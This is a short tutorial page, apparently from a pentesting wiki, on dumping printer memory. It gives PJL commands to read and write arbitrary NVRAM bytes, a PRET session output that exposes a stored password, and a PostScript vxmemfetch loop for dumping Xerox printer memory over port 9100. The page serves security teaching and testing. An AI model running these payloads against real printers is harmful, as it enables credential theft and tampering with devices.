# Memory Access **You can try to dump the NVRAM and extract confidential info \(as passwords\) from there.** In **PJL \(Brother\)** you can access **arbitrary NVRAM addresses** using PJL as shown below: ```bash @PJL RNVRAM ADDRESS = X # read byte at location X @PJL WNVRAM ADDRESS = X DATA = Y # write byte Y to location X ``` You can test this attack using [**PRET**](https://github.com/RUB-NDS/PRET): ```bash ./pret.py -q printer pjl Connection to printer established Welcome to the pret shell. Type help or ? to list commands. printer:/> nvram dump Writing copy to nvram/printer ................................................................................ ................................................................................ ............................................MyS3cretPassw0rd.................... ................................................................................ ``` Certain **Xerox printer models** have a proprietary **PostScript** `vxmemfetch` operator built into, which allows an attacker to read arbitrary memory addresses. Using a PostScript loop, this feature can be easily used to dump the whole memory as show below \(PRET doesn't have this attack so you will need to send this payload to the port 9100 in a `nc` connection\): ```text /counter 0 def 50000 { /counter counter 1 add def currentdict /RRCustomProcs /ProcSet findresource begin begin counter 1 false vxmemfetch end end == counter } repeat ``` **More information here:** [**http://hacking-printers.net/wiki/index.php/Memory\_access**](http://hacking-printers.net/wiki/index.php/Memory_access)\*\*\*\*